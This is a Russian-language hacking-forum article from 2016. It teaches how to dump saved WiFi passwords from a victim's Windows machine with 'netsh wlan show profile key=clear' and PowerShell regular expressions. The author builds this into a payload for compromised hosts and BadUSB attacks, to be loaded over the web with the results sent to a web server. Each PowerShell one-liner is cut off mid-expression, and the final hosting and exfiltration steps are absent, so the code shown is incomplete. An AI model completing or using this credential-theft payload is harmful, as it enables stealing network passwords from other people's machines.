- 19.10.2016
- 724
- 3 103
Доброго времени суток колеги. Прошу извинить меня за столь редкий онлайн
(Увы не всегда получается с вами тут посидеть
Сразу же хочу обратить внимание , что эта статья нацелена на машини семейства от Windows 7 c WiFi адептарами ( в большинстве случаев ноутбуки)
И так. Вот что мы освоим в этой статье:
- Научимся смотреть информацию о WiFi подключениях средствами командной строки Windows
- Извлекать сохраненные пароли в командной строке Windows
- Немного освоим регулярные выражения в PowerShell
- С помощью регулярных выражений составим полезную нагрузка для дампа паролей от WiFi сетей жертвы
- Закрепим подгрузку PowerShell через WEB
- Закрепим отправку данных на веб-сервер методом
Ссылка скрыта от гостей.
- Каждый сохранненный профиль от WiFi сети - это сегменты сети в которых бывает жертва и может оказаться ценным сегментом (пример - банковская WiFi сеть)
- Пароль от домашнего WiFi может подойти к многим аккаунтам жертвы.
- Готовых модулей в Metasploit и Emire для дампа WiFi я не встретил ( если я ошибся - прошу поправить меня и отписать в комментах)
- Эта техника может быть использована для атак вида BadUSB ( спасибо за статьи @Dr.Lafa )
- Ну и для общего развития
Конкретней нас интересует команда netsh wlan show profile
которая покажет нам список всех сохраненных WiFi
Для того что бы извлечь пароль определенного профиля достаточно выполнить команду:
netsh wlan show profile <SSID_NAME> key=clear
Очень важно передать параметр key=clear , иначе пароль не будет отображен в открытом виде.
Ну вот с основными понятиями вроде как разобрались. Давайте перейдем к PowerShell. И так из этого всего вывода нам нужно отбросить ненужный текст и оставить только имя WiFi и Пароль от него.
Первым делом давайте выведем имена WiFi сетей c помощью оператора
Ссылка скрыта от гостей
:(netsh wlan show profiles) | Select-String "\
Здесь мы в регулярном выражение фильтруем все строки где есть символ ":" и после которого следует больше одного (.+) символа и символ $ -- конец строки.
Теперь давайте попытаемся вывести только SSID:
(netsh wlan show profiles) | Select-String "\
Скриплет %{$_.Matches.Groups[1].Value} -- берет из потокового вывода нужные нам совпадения и их значения. Но совпадения беруться из пробелами по-этому удаляем их функцией Trim()
Для удобства все совпадения положим в переменную $name
(netsh wlan show profiles) | Select-String "\
Теперь по этому же принципу нужно отобразить пароль от каждой SSID :
(netsh wlan show profiles) | Select-String "\
Добавляется команда (netsh wlan show profile name="$name" key=clear) , которая в качестве имени SSID берет переменную $name :
Но опять же таки тут много лишнего текста:
Так как у нас вывод на русском языке то ключевое слово , которое нам нужно для регулярного выражения будет : "Содержимое ключа" и наш следующий запрос будет иметь примерно такой вид:
(netsh wlan show profiles) | Select-String "\
И конечная команда наша будет иметь примерно следующий вид:
(netsh wlan show profiles) | Select-String "\
Ну а далее все по накатанной схеме:
Размещаем к примеру:
Подгружаем на скомпрометированной машине:
И ловим пароли от WiFi:
Всем спасибо за внимание)
Видео немножко поже сделаю.
Последнее редактирование: